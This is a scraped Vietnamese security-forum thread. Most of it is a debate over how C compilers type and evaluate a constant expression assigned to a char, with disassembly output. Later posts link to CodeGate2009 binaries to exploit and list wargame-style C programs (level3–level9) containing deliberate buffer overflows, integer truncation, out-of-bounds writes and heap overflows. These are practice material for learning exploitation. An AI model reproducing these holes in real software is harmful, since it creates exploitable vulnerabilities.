Tuy nhiên ở đây compiler lại không sinh ra lệnh nào cho phép tính 256-10 mà asm code ra thằng luôn: movb $-10, -5(%ebp). Như vậy thì luận chứng của bạn choc_ chưa thể kiểm chứng được (tôi không nói là sai nhé). 
Nói rõ thêm điểm này 1 chút: làm sao để kiểm chứng được là với câu lệnh: c = MAX_LEN - 10; (c = 256-10) thì compiler sẽ thực hiện: c = (char)((int)256 - (int)10) hay là c = (char)256 - (char)10]]>
/hvaonline/posts/list/27801.html#171651 /hvaonline/posts/list/27801.html#171651 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với Code:
i = MAX_LEN-10;
c = (char) i;
.....
0x08048385 <main+17>:	movl   $0xf6,-0xc(%ebp)
0x0804838c <main+24>:	mov    -0xc(%ebp),%eax
0x0804838f <main+27>:	mov    %al,-0x5(%ebp)
Ở cái lệnh assembly đầu tiên, do tính được giá trị của MAX_LEN - 10, nên compiler nó ghi luôn vào ô nhớ của i. Ở 2 lệnh tiếp theo, compiler nó thực hiện cái mà bạn nbthanh đang tìm kiếm. Mình cũng không tự dưng dựa vào một hai quan sát (mà mình cũng đã dùng luật để giải thích ngọn ngành) mà phán như bạn, mình nói có sách, mách có chứng đàng hoàng, bạn cố tình không chịu đọc chứng cứ mình đưa ra đó thôi.]]>
/hvaonline/posts/list/27801.html#171652 /hvaonline/posts/list/27801.html#171652 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

nbthanh wrote:

nbthanh wrote:
Tuy nhiên ở đây compiler lại không sinh ra lệnh nào cho phép tính 256-10 mà asm code ra thằng luôn: movb $-10, -5(%ebp). Như vậy thì luận chứng của bạn choc_ chưa thể kiểm chứng được (tôi không nói là sai nhé). 
Nói rõ thêm điểm này 1 chút: làm sao để kiểm chứng được là với câu lệnh: c = MAX_LEN - 10; (c = 256-10) thì compiler sẽ thực hiện: c = (char)((int)256 - (int)10) hay là c = (char)256 - (char)10 
Thì tại chuẩn (với lại tại hai khứa K&R) yêu cầu phải thực hiện cái đầu tiên chứ sao, khổ thât. Mà thật ra nếu bạn có ghi biểu thức [b]c = (char)256 - (char)10[b/] thì compiler cũng sẽ thực hiện tuần tự các bước sau đây (thấy có vẻ quái dị): 1. Gán kiểu int cho 256 và 10 (do luật xử lý integer constant) 2. Ép kiểu 256 và 10 xuống thành char (do luật simple conversion) 3. Nâng lên int hai số vừa ép xuống char (do luật integer promotion) 4. Tính ra giá trị (kiểu int) của vế phải 5. Ép giá trị này từ int xuống char, và gán lại cho c. Chứ nó sẽ không như bạn nghĩ (mình đoán bạn đang nghĩ vậy) là ép kiểu xuống char, trừ phát, rồi assign luôn. Mà bạn cũng lưu ý ghi (char) 256 nghĩa là ép kiểu, mà muốn ép kiểu thì 256 phải có kiểu rồi, và kiểu đó là int. Dẫu vậy mình nghĩ suy nghĩ của bạn là có lý, nhưng tại sao C lại không làm như bạn nghĩ, thì đơn giản vì hai khứa K&R không thích thế. Nếu bạn nghĩ cách của bạn hay hơn, thì bạn tự viết compiler rồi ra chuẩn riêng cho mình nha. Vậy thôi, dừng tranh luận vấn đề này nha, mình chán rồi. Bạn không chịu đọc những gì mình viết và tài liệu mình gửi lên đây.]]>
/hvaonline/posts/list/27801.html#171661 /hvaonline/posts/list/27801.html#171661 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:
Nếu mình tính được c, thì người viết compiler cũng sẽ tính được c, vậy thì tội dại gì phải sinh mã trung gian (nhất là khi vế phải chỉ là một integer constant expression)? Đây chỉ là một bước tối ưu mã rất bình thường mà bất kỳ ai viết compiler cũng phải nghĩ đến. 
Để kiểm chứng cách compiler xử lý 1 integer constant expression, tôi đã cố tình dùng -O0 để tắt optimization đi. Vấn đề/mục đích chính ở đây là kiểm chứng chứ không phải là vấn đề compiler có biết tối ưu hay không (nếu không tôi đã không cố tình dùng -O0). Nhưng có lẽ -O0 vẫn không "ngăn cản" được bước tối ưu này.

choc_ wrote:
@nbthanh: mình không rõ bạn không hiểu thật hay vì lý do gì đó mà cố tình không hiểu. Việc tại sao compiler ra được giá trị -10, và ghi thẳng vào vùng nhớ của biến c thì mình đã giải thích ở trên rồi. Mình giải thích cách compiler sẽ phải làm từng bước, khi muốn xác định kiểu của biểu thức MAX_LEN - 10, nhưng không có nghĩa là compiler bắt buộc phải sinh mã cho từng bước đó.  
Ở đây, vì mục đích chính là kiểm chứng nên đầu tiên tôi đã thử tắt optimization đi để xem các bước trung gian compiler sinh mã thế nào. Nhưng như kết quả thực tế thì không có mã trung gian mà chỉ có kết quả cuối cùng. Vậy có kết quả cuối cùng (gọ là Z), và ta có 1 số luập luận: "tính tay" dựa theo lập luận ra kết quả (Z'). So sánh Z với Z' ta sẽ biết được là lập luận của ta đúng hay sai. Tuy nhiên, vì không có bước trung gian do compiler sinh ra, ta có 2 lập luận: (1) c = (char)((int)256 - (int)10) (= kết quả cuối cùng là Z') (2) và c = (char)256 - (char)10 (= kết quả cuối cùng là Z'') "Chẳng may" ở đây Z' = Z'' chúng ta không có các bước trung gian (mà chúng ta expect là compiler sẽ sinh ra). Vậy, nếu với mục đích là kiểm chứng, thì nó là (1) hay (2)? ]]>
/hvaonline/posts/list/27801.html#171664 /hvaonline/posts/list/27801.html#171664 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:
Thì tại chuẩn (với lại tại hai khứa K&R)... Chứ nó sẽ không như bạn nghĩ... Vậy thôi, dừng tranh luận vấn đề này nha, mình chán rồi. Bạn không chịu đọc những gì mình viết và tài liệu mình gửi lên đây. 
Post xong bài trước mới thấy bài này. Tôi thì lại nghĩ mục đích của bạn tạo topic này lại là vì để "thảo luận" về các vấn đề này đấy chứ? Vì nếu...cái gì cũng y khuông như mình nghĩ thì làm gì có lỗi ;-) Bởi vì có những cái trên thực tế "có thể" nó không như vậy (đang tìm 1 mechanism để kiểm chứng) nên nó mới có thể có những lỗi mà "nhìn vậy, nghĩ vậy chứ không phải vậy". Không phải mục đích của topic bạn lập ra là thế sao? ;-)]]>
/hvaonline/posts/list/27801.html#171665 /hvaonline/posts/list/27801.html#171665 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với Code:
#include <stdlib.h>
#include <stdio.h>

#define MAX_LEN 256

int main(int argc, char **argv)
{
         short i;
         i = MAX_LEN-10;
         printf("%d %d\n", i, sizeof(MAX_LEN-10));
         return 0;
}
Lưu ý là mình đổi i từ int sang short, để bạn nbthanh thấy là compiler cũng bỏ bước trung gian ở trường hơp này luôn. Lưu ý thứ hai là sizeof(MAX_LEN-10) là 4.]]>
/hvaonline/posts/list/27801.html#171757 /hvaonline/posts/list/27801.html#171757 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:
@nbthanh: không phải chẳng may mà hai cái bạn tính nó ra kết quả giống nhau đâu, tự vì nó bắt buộc phải giống nhau, bạn thử lấy giấy viết ra tính thử xem sẽ thấy. Mình có làm một chương trình nhỏ thế này, mong là bạn nbthanh sẽ đồng ý với những luận điểm ở trên của mình sau khi xem chương trình này: Code:
#include <stdlib.h>
#include <stdio.h>

#define MAX_LEN 256

int main(int argc, char **argv)
{
         short i;
         i = MAX_LEN-10;
         printf("%d %d\n", i, sizeof(MAX_LEN-10));
         return 0;
}
Lưu ý là mình đổi i từ int sang short, để bạn nbthanh thấy là compiler cũng bỏ bước trung gian ở trường hơp này luôn. Lưu ý thứ hai là sizeof(MAX_LEN-10) là 4. 
Vấn đề chính là ở chỗ đó: nó không có bước trung gian --> không kiểm chứng được mà chỉ có thể dùng các rule trong spec để dự đoán. Nhưng nói chung thì tôi cũng chỉ nêu ra vấn đề để chúng ta có thêm 1 hướng để suy nghĩ, để đào sâu. Chẳng hạn như Mr.X là người maintain cái C/C++ spec, Mr.Y nào đó viết ra ycc và nói là ycc của tôi theo đúng spec. Giờ ngoại trừ cách mở code của ycc ra coi, có cách nào viết được unit test để có thể kiểm chứng rằng ycc làm theo đúng spec? Ít nhất không kiểm chứng được hết thì cũng làm được phần lớn. Ở đây có 1 trường hợp mà tôi nêu ra đó: dĩ nhiên đọc spec và suy luận thì ra, nhưng làm sao kiểm chứng? Thực ra thì ở phần 6.4.8. Processing numbers của C99 có nói: "A preprocessing number does not have type or a value; it acquires both after a successful conversion (as part of translation phase 7) to a floating constant token or an integer constant token". Như vậy nếu ghi short s = MAX_LEN thì bước preprocessing MAX_LEN sẽ là 256 và tại thời điểm này nó chưa có type. Compiler sẽ thử convert 256 sang "floating constant token" hoặc "integer constant token" rồi mới quyết định kiểu cho nó. Tôi cũng nghĩ rằng compiler chọn và convert sang token nào thì lại tùy vào ngữ cảnh lúc đó. Tuy nhiên vẫn còn 1 chút khúc mắc nhỏ: s = MAX_LEN-10 thì ở bước preprocessing sẽ là s = 256-10 và mã sinh ra lại là mov 246,...? Do vậy tôi cũng cho rằng 256-10 được xử lý thành 246 vẫn nằm ở bước pre-processing (vẫn hợp lý vì optimization có xảy ra trong giai đoạn pre-processing). Và như thế, thì 246 ở giai đoạn này chưa có kiểu int (theo section 6.4.8), vậy cũng có thể nói là MAX_LEN-10 tới thời điểm này vẫn chưa có kiểu là int! Sau khi xong bước này, compiler mới quyết định kiểu cho 246 (cũng tức là MAX_LEN-1): lúc này thì compiler lại xem xét tới vấn đề ngữ cảnh.]]>
/hvaonline/posts/list/27801.html#171769 /hvaonline/posts/list/27801.html#171769 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#171772 /hvaonline/posts/list/27801.html#171772 GMT Re: giúp mình tìm lỗi mấy chương trình C này với

StarGhost wrote:
Mình có một lưu ý thế này, tại vì mình thấy có nhiều chỗ các bạn nói rằng giá trị của constant expression (vd. MAX_LEN - 10) được tính toán ở bước pre-processing, nhưng theo mình biết thì các compilers hiện đại làm việc này ở bước compilation, còn bước pre-processing chỉ thay giá trị MAX_LEN bằng giá trị được define trong code. 
Cảm ơn bạn đã lưu ý, tôi nghĩ là tôi dùng hơi sai ngữ nghĩa của "pre-processing" 1 chút. Nhưng nó cũng phải ở trước bước sinh mã cuối cùng - có lẽ là trong "translation phase 7" hoặc trước đó.]]>
/hvaonline/posts/list/27801.html#171776 /hvaonline/posts/list/27801.html#171776 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với Code:
int main(int argc, char **argv)
{
         int i;
         i = MAX_LEN-10;
         char c = (char)(MAX_LEN - 10);
         printf("%d %d %d\n", i, c);
         return 0;
 }
Nhìn vào cái char c = (char)(MAX_LEN - 10); thì nếu mà tính như bạn nghĩ, char c = (char) ((char)MAX_LEN - (char)10)); nói cách khác compiler xem MAX_LEN là char, 10 là char, tính ra kết quả, rồi gán luôn cho char, thì việc convert (char) một lần nữa ở biểu thức (MAX_LEN - 10) sẽ không có ý nghĩa. Nên compiler sẽ phải output dạng như bạn nbthanh suy đoán, mov -10, register. Dẫu vậy lúc disassembly thì mình thấy gì? Code:
0x08048385 <main+17>:	movl   $0xf6,-0xc(%ebp)
0x0804838c <main+24>:	movb   $0xf6,-0x5(%ebp)
Thấy cái movb không bạn? Nó đưa vào 0xf6 = 246 (nó sẽ không ra được giá trị này nếu như nó áp dụng cách tính của bạn) luôn, nhưng chỉ move một byte cuối thôi. Không hề xuất hiện cái -10 như bạn nghĩ :-D. Nếu mình đổi short c = (short)(MAX_LEN - 1), thì compiler sẽ output: Code:
short c = (short)(MAX_LEN - 1)
...
0x0804838c <main+24>:	movw   $0xf6,-0x6(%ebp)
Rõ ràng hai ví dụ này chứng minh rất rõ là MAX_LEN - 1 sẽ có kiểu là integer (nó mới tính ra được cái giá trị 0xf6). Đấy, mình nghĩ từ đầu đến giờ, hai ví dụ này là convincing nhất. Bạn nbthanh mà không đồng ý nữa thì mình ráng tìm cái khác nữa vậy. Dẫu vậy, mình cũng cảm ơn bạn nbthanh là nhờ có bạn thắc mắc kỳ cục mà mình có dịp hiểu hơn về vấn đề này.]]>
/hvaonline/posts/list/27801.html#171792 /hvaonline/posts/list/27801.html#171792 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:
Thấy cái movb không bạn?... 
Thấy, và thấy rất rõ!

choc_ wrote:
Nó đưa vào 0xf6 = 246 
0xf6 = -10, không phải là 246! Các compiler như gcc, bcc có option -S để sinh ra mã asm trung gian. Sử dụng option này bạn sẽ thấy cách mà compiler hiểu & xử lý biên dịch chương trình. Với đoạn mã: Code:
int i;
char c;
long int l;

i = (int)(MAX_LEN - 10);
c = (char)(MAX_LEN - 10);
l = (long)(MAX_LEN - 10);
Max asm sinh ra: Code:
movl    $246, -16(%ebp)
movb    $-10, -9(%ebp)
movl    $246, -8(%ebp)
Thấy rõ ràng là -10 (và binary code của nó là 0xf6)

choc_ wrote:
@nbthanh: rất vui là cuối cùng bạn cũng đã đọc cái spec. Mình thấy cái 6.4.8 nó đã ghi rõ rồi mà... 
Tôi thì ngược lại, rất buồn là bạn _đã_ đọc cái spec ;-) P/S: Code:
char c = 1L;
sinh ra mã asm: Code:
movb    $1, -9(%ebp)
(edit: sửa chỗ ghi nhầm 10 thành -10).]]>
/hvaonline/posts/list/27801.html#171849 /hvaonline/posts/list/27801.html#171849 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#172772 /hvaonline/posts/list/27801.html#172772 GMT Re: giúp mình tìm lỗi mấy chương trình C này với

choc_ wrote:
Hôm nay có bạn gửi cho 3 cái binary, một phần của CodeGate2009, nói là có liên quan đến đề tài đang thảo luận ở đây. Mình xem thử qua, thấy đúng thế thiệt. Mời các bạn nhào vào exploit nha: 1. hotdog: http://www.mediafire.com/?jtcd5iyhomv 2. sandwich: http://www.mediafire.com/?znuf2wt4tuo 3. hamburger: http://www.mediafire.com/?znuf2wt4tuo 
2 link cuối giống nhau kìa bạn . :D ]]>
/hvaonline/posts/list/27801.html#172773 /hvaonline/posts/list/27801.html#172773 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#172775 /hvaonline/posts/list/27801.html#172775 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#173174 /hvaonline/posts/list/27801.html#173174 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#173180 /hvaonline/posts/list/27801.html#173180 GMT Re: giúp mình tìm lỗi mấy chương trình C này với

http://www.cbc.ca/consumer/story/2009/03/17/slot.html wrote:
According to the statement, Kusznirewicz was playing an OLG slot machine called Buccaneer at Georgian Downs in Innisfil, Ont., on Dec. 8 when it showed he had won $42.9 million. When the machine’s winning lights and sounds were activated, an OLG floor attendant initially told Kusznirewicz to go to the “winners circle” to claim his prize, according to the statement. But other OLG employees immediately arrived and told him that the corporation would not be paying, because there had been a “machine malfunction.” They offered him a free dinner for four at the casino’s buffet. In a press release, OLG described the malfunction as follows: “The single Buccaneer-themed slot machine in question is a two cent per play machine with a base game reward of $300 and an absolute maximum payout of $9,025,” the release states. “The $42 million figure is not a possible award given this machine’s configuration and pay table settings.”  
Mấy khứa ở Veracode mới đưa ra một giả thuyết như sau về cái code của mấy cái máy lotto này:
Of course the lawsuit will probably be thrown out, or OLG will settle with the guy for a lesser amount. But from a technical perspective, it’s amusing to think about what happened to cause this scenario. You can imagine the slot machine software looking something like this: void do_spin() { spin_reels(); if (winning_combination) { unsigned int winnings = calculate_payout_in_cents(); send_to_display("You've won $%u!\n", winnings/100); add_to_balance(winnings/100); } } int calculate_payout_in_cents() { int rv; if (rv = lookup_payout_amount()) return rv; else return -1; } For some reason, something caused lookup_payout_amount() to return NULL, which meant calculate_payout() returned -1, signifying an error. Then, in addition to implicitly casting the signed result to an unsigned type, do_spin() fails to check for the error condition! It assumes success and announces the payout via the slot machine’s display. In this case, the -1, represented as 0xFFFFFFFF in two’s complement, gets interpreted as an unsigned number, 4294967295, due to the implicit cast, and the display prints “You’ve won $42949672!”  
Hehehe rõ ràng các vấn đề liên quan đến số nguyên rất nguy hiểm nha.]]>
/hvaonline/posts/list/27801.html#175459 /hvaonline/posts/list/27801.html#175459 GMT
Re: giúp mình tìm lỗi mấy chương trình C này với Unhandled exception at 0x004013c4 in contro.exe: 0xC0000005: Access violation reading location 0x00000000. Hỏi chọn Break, Continue và Ignore , khi nhấn vào Continue thì nó hiện lại bảng thông báo này. Khi chọn Break thì hiện ra 1 tab gọi là 'Diassembly' chứa một dãy rất dài các câu lệnh Assembly. Câu hỏi của em trong ý này là: Nhìn vào những lệnh Assembly đó có thể suy ra được lỗi bộ nhớ(cấp phát sai...) làm chương trình bị sụp đổ không?, nếu được thì bằng cách nào, em có thể tham khảo tài liệu nào về vấn đề này. PS: dòng màu đỏ chỉ là ví dụ minh họa cho 1 trường hợp nào đó. Xin chờ mọi người chỉ bảo, em rất muốn học À còn nữa , cái bảng chọn Break Continue Ignore nó có ý gì?]]> /hvaonline/posts/list/27801.html#181992 /hvaonline/posts/list/27801.html#181992 GMT Re: giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#182344 /hvaonline/posts/list/27801.html#182344 GMT giúp mình tìm lỗi mấy chương trình C này với http://www.mediafire.com/?xbnjmtdt2mn level3.c: Code:
#include <stdio.h>

int main(int argc, char *argv[])
{
        char buffer[12];

        if(argc)
        {
                printf("Aw..\n");
                exit(1);
        }

        strcpy(buffer, argv[10]);

        return 0;
}
level4 : http://www.mediafire.com/?gymkennq3yz level5.c Code:
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
        char c[65212];
        char b[64];
        unsigned short j;
        int i;

        i = atoi(argv[1]);
        j = i;

        if(j >= 64)
        {
                exit(1);
        }

        memcpy(b, argv[2], i);

        return 0;
}
level6.c Code:
#include <stdio.h>

void hihi(char *p)
{
        char buf[12];

        if(strlen(p) >= 20) /* 16) */
        {
                strncpy(buf, p, 20); /* 16); */
        }
        else
        {
                strcpy(buf, p);
        }
}

int main(int argc, char *argv[])
{
        if(argc)
        {
        printf("Aw..\n");
                exit(1);
        }

        printf("Here we go - %s\n", argv[10]);

        hihi(argv[10]);

        return 0;
}
level7.c Code:
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        int table[10];
        char *p;

        int val, pos;


        if(argc < 3)
        {
                printf("Missing args\n");
                exit(1);
        }

        p = malloc(32);
        if(!p)
        {
                printf("Sorry, ran out of memory :-(\n");
                exit(1);
        }

        val = strtoul(argv[2], NULL, 16);
        pos = strtoul(argv[1], NULL, 10);

        if(pos > 10)
        {
                printf("Illegal position in table, quitting..\n");
                exit(1);
        }
        else
        {
                table[pos] = val;
        }

        strcpy(p, argv[3]);

        printf("Table position %d has value %d\nDescription: %s\n",
                pos, table[pos], p);

        return 0;
}
level8.c Code:
#include <setjmp.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>

void jmp(int i);
jmp_buf  *jbp;

int main(int argc, char *argv[])
{
        int i;
        jmp_buf foo;
        char buf[128];

        if(argc < 2)
                exit(1);

        signal(SIGUSR1, jmp);
        signal(SIGUSR2, jmp);

        i = setjmp(foo);
        jbp = &foo;

        if(i)
                strcpy(buf, argv[1]);

        sleep(2);
        exit(i);
}

void jmp(int i)
{
        longjmp(*jbp, i);
}
level9.c: Code:
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        char *p, *p2;

        p = malloc(512);
        if(!p)
        {
                exit(1);
        }

        p2 = malloc(4);
        if(!p2)
        {
                exit(1);
        }

        strcpy(p, argv[1]);

        free(p);
        free(p2);

        return 0;
}
]]>
/hvaonline/posts/list/27801.html#213233 /hvaonline/posts/list/27801.html#213233 GMT
giúp mình tìm lỗi mấy chương trình C này với /hvaonline/posts/list/27801.html#217632 /hvaonline/posts/list/27801.html#217632 GMT